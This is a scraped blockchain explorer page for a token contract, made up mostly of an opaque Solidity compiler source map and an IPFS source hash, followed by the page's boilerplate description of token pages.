1;;;;;19079:16:0;;19004:7;19079:16;;;:8;:16;;;;;;19004:7;;19079:16;;19076:215;;;19124:38;19158:3;19124:29;19135:17;;19124:6;:10;;:29;;;;:::i;:38::-;19112:50;;19076:215;;;-1:-1:-1;;;;;19192:19:0;;;;;;:8;:19;;;;;;;;19189:102;;;19240:39;19275:3;19240:30;19251:18;;19240:6;:10;;:30;;;;:::i;:39::-;19228:51;;19189:102;19306:13;;19303:171;;19379:4;19362:23;;;;:8;:23;;;;;;:38;;19390:9;19362:27;:38::i;:::-;19353:4;19336:23;;;;:8;:23;;;;;;;:64;;;;19420:42;;-1:-1:-1;;;;;19420:42:0;;;;;;;19452:9;1819:25:1;;1807:2;1792:18;;1673:177;19420:42:0;;;;;;;;19303:171;19493:21;:6;19504:9;19493:10;:21::i;1604:248::-;1662:7;1686:1;1691;1686:6;1682:47;;-1:-1:-1;1716:1:0;1709:8;;1682:47;1739:9;1751:5;1755:1;1751;:5;:::i;:::-;1739:17;-1:-1:-1;1784:1:0;1775:5;1779:1;1739:17;1775:5;:::i;:::-;:10;1767:56;;;;-1:-1:-1;;;1767:56:0;;9866:2:1;1767:56:0;;;9848:21:1;9905:2;9885:18;;;9878:30;9944:34;9924:18;;;9917:62;-1:-1:-1;;;9995:18:1;;;9988:31;10036:19;;1767:56:0;9664:397:1;2046:132:0;2104:7;2131:39;2135:1;2138;2131:39;;;;;;;;;;;;;;;;;:3;:39::i;18004:537::-;18094:16;;;18108:1;18094:16;;;;;;;;18070:21;;18094:16;;;;;;;;;;-1:-1:-1;18094:16:0;18070:40;;18139:4;18121;18126:1;18121:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;18121:23:0;;;:7;;;;;;;;;;:23;;;;18165:15;;:22;;;-1:-1:-1;;;18165:22:0;;;;:15;;;;;:20;;:22;;;;;18121:7;;18165:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18155:4;18160:1;18155:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;18155:32:0;;;:7;;;;;;;;;:32;18232:15;;18200:62;;18217:4;;18232:15;18250:11;18200:8;:62::i;:::-;18275:15;;:197;;-1:-1:-1;;;18275:197:0;;-1:-1:-1;;;;;18275:15:0;;;;:66;;:197;;18356:11;;18275:15;;18399:4;;18426;;18446:15;;18275:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18498:35;18515:11;18528:4;18498:35;;;;;;;:::i;:::-;;;;;;;;18059:482;18004:537;:::o;13010:126::-;13102:26;;-1:-1:-1;;;;;13102:18:0;;;:26;;;;;13121:6;;13102:26;;;;13121:6;13102:18;:26;;;;;;;;;;;;;;;;;;;18549:361;18662:15;;18630:62;;18647:4;;-1:-1:-1;;;;;18662:15:0;18680:11;18630:8;:62::i;:::-;18703:15;;-1:-1:-1;;;;;18703:15:0;:31;18742:9;18775:4;18795:11;18703:15;;18854:7;3044;3071:6;-1:-1:-1;;;;;3071:6:0;;3006:79;18854:7;18703:199;;;;;;-1:-1:-1;;;;;;18703:199:0;;;-1:-1:-1;;;;;11947:15:1;;;18703:199:0;;;11929:34:1;11979:18;;;11972:34;;;;12022:18;;;12015:34;;;;12065:18;;;12058:34;12129:15;;;12108:19;;;12101:44;18876:15:0;12161:19:1;;;12154:35;11863:19;;18703:199:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;18549:361;;:::o;11047:143::-;11105:7;11162:10;11156:17;10903:136;2186:189;2272:7;2307:12;2300:5;2292:28;;;;-1:-1:-1;;;2292:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2331:9:0;2343:5;2347:1;2343;:5;:::i;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:315::-;218:6;226;279:2;267:9;258:7;254:23;250:32;247:52;;;295:1;292;285:12;247:52;334:9;321:23;353:31;378:5;353:31;:::i;:::-;403:5;455:2;440:18;;;;427:32;;-1:-1:-1;;;150:315:1:o;470:548::-;582:4;611:2;640;629:9;622:21;672:6;666:13;715:6;710:2;699:9;695:18;688:34;740:1;750:140;764:6;761:1;758:13;750:140;;;859:14;;;855:23;;849:30;825:17;;;844:2;821:26;814:66;779:10;;750:140;;;754:3;939:1;934:2;925:6;914:9;910:22;906:31;899:42;1009:2;1002;998:7;993:2;985:6;981:15;977:29;966:9;962:45;958:54;950:62;;;;470:548;;;;:::o;1855:456::-;1932:6;1940;1948;2001:2;1989:9;1980:7;1976:23;1972:32;1969:52;;;2017:1;2014;2007:12;1969:52;2056:9;2043:23;2075:31;2100:5;2075:31;:::i;:::-;2125:5;-1:-1:-1;2182:2:1;2167:18;;2154:32;2195:33;2154:32;2195:33;:::i;:::-;1855:456;;2247:7;;-1:-1:-1;;;2301:2:1;2286:18;;;;2273:32;;1855:456::o;2316:160::-;2381:20;;2437:13;;2430:21;2420:32;;2410:60;;2466:1;2463;2456:12;2410:60;2316:160;;;:::o;2481:180::-;2537:6;2590:2;2578:9;2569:7;2565:23;2561:32;2558:52;;;2606:1;2603;2596:12;2558:52;2629:26;2645:9;2629:26;:::i;2874:247::-;2933:6;2986:2;2974:9;2965:7;2961:23;2957:32;2954:52;;;3002:1;2999;2992:12;2954:52;3041:9;3028:23;3060:31;3085:5;3060:31;:::i;3315:180::-;3374:6;3427:2;3415:9;3406:7;3402:23;3398:32;3395:52;;;3443:1;3440;3433:12;3395:52;-1:-1:-1;3466:23:1;;3315:180;-1:-1:-1;3315:180:1:o;3500:316::-;3577:6;3585;3593;3646:2;3634:9;3625:7;3621:23;3617:32;3614:52;;;3662:1;3659;3652:12;3614:52;-1:-1:-1;;3685:23:1;;;3755:2;3740:18;;3727:32;;-1:-1:-1;3806:2:1;3791:18;;;3778:32;;3500:316;-1:-1:-1;3500:316:1:o;3821:689::-;3913:6;3921;3929;3982:2;3970:9;3961:7;3957:23;3953:32;3950:52;;;3998:1;3995;3988:12;3950:52;4038:9;4025:23;4067:18;4108:2;4100:6;4097:14;4094:34;;;4124:1;4121;4114:12;4094:34;4162:6;4151:9;4147:22;4137:32;;4207:7;4200:4;4196:2;4192:13;4188:27;4178:55;;4229:1;4226;4219:12;4178:55;4269:2;4256:16;4295:2;4287:6;4284:14;4281:34;;;4311:1;4308;4301:12;4281:34;4366:7;4359:4;4349:6;4346:1;4342:14;4338:2;4334:23;4330:34;4327:47;4324:67;;;4387:1;4384;4377:12;4324:67;4418:4;4410:13;;;;-1:-1:-1;4442:6:1;-1:-1:-1;4467:37:1;;4483:20;;;-1:-1:-1;4467:37:1;:::i;:::-;4457:47;;3821:689;;;;;:::o;4515:388::-;4583:6;4591;4644:2;4632:9;4623:7;4619:23;4615:32;4612:52;;;4660:1;4657;4650:12;4612:52;4699:9;4686:23;4718:31;4743:5;4718:31;:::i;:::-;4768:5;-1:-1:-1;4825:2:1;4810:18;;4797:32;4838:33;4797:32;4838:33;:::i;:::-;4890:7;4880:17;;;4515:388;;;;;:::o;4908:380::-;4987:1;4983:12;;;;5030;;;5051:61;;5105:4;5097:6;5093:17;5083:27;;5051:61;5158:2;5150:6;5147:14;5127:18;5124:38;5121:161;;5204:10;5199:3;5195:20;5192:1;5185:31;5239:4;5236:1;5229:15;5267:4;5264:1;5257:15;5121:161;;4908:380;;;:::o;5293:356::-;5495:2;5477:21;;;5514:18;;;5507:30;5573:34;5568:2;5553:18;;5546:62;5640:2;5625:18;;5293:356::o;5654:251::-;5724:6;5777:2;5765:9;5756:7;5752:23;5748:32;5745:52;;;5793:1;5790;5783:12;5745:52;5825:9;5819:16;5844:31;5869:5;5844:31;:::i;6219:127::-;6280:10;6275:3;6271:20;6268:1;6261:31;6311:4;6308:1;6301:15;6335:4;6332:1;6325:15;6351:127;6412:10;6407:3;6403:20;6400:1;6393:31;6443:4;6440:1;6433:15;6467:4;6464:1;6457:15;6483:135;6522:3;6543:17;;;6540:43;;6563:18;;:::i;:::-;-1:-1:-1;6610:1:1;6599:13;;6483:135::o;6623:125::-;6688:9;;;6709:10;;;6706:36;;;6722:18;;:::i;9136:128::-;9203:9;;;9224:11;;;9221:37;;;9238:18;;:::i;9269:168::-;9342:9;;;9373;;9390:15;;;9384:22;;9370:37;9360:71;;9411:18;;:::i;9442:217::-;9482:1;9508;9498:132;;9552:10;9547:3;9543:20;9540:1;9533:31;9587:4;9584:1;9577:15;9615:4;9612:1;9605:15;9498:132;-1:-1:-1;9644:9:1;;9442:217::o;10198:461::-;10251:3;10289:5;10283:12;10316:6;10311:3;10304:19;10342:4;10371:2;10366:3;10362:12;10355:19;;10408:2;10401:5;10397:14;10429:1;10439:195;10453:6;10450:1;10447:13;10439:195;;;10518:13;;-1:-1:-1;;;;;10514:39:1;10502:52;;10574:12;;;;10609:15;;;;10550:1;10468:9;10439:195;;;-1:-1:-1;10650:3:1;;10198:461;-1:-1:-1;;;;;10198:461:1:o;10664:582::-;10963:6;10952:9;10945:25;11006:6;11001:2;10990:9;10986:18;10979:34;11049:3;11044:2;11033:9;11029:18;11022:31;10926:4;11070:57;11122:3;11111:9;11107:19;11099:6;11070:57;:::i;:::-;-1:-1:-1;;;;;11163:32:1;;;;11158:2;11143:18;;11136:60;-1:-1:-1;11227:3:1;11212:19;11205:35;11062:65;10664:582;-1:-1:-1;;;10664:582:1:o;11251:332::-;11458:6;11447:9;11440:25;11501:2;11496;11485:9;11481:18;11474:30;11421:4;11521:56;11573:2;11562:9;11558:18;11550:6;11521:56;:::i;:::-;11513:64;11251:332;-1:-1:-1;;;;11251:332:1:o;12200:306::-;12288:6;12296;12304;12357:2;12345:9;12336:7;12332:23;12328:32;12325:52;;;12373:1;12370;12363:12;12325:52;12402:9;12396:16;12386:26;;12452:2;12441:9;12437:18;12431:25;12421:35;;12496:2;12485:9;12481:18;12475:25;12465:35;;12200:306;;;;;:::o
Swarm Source
ipfs://1c65e3a4713292be54129048766cc3bd0346c537c2e2e79d9fd006ec9f110ade
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.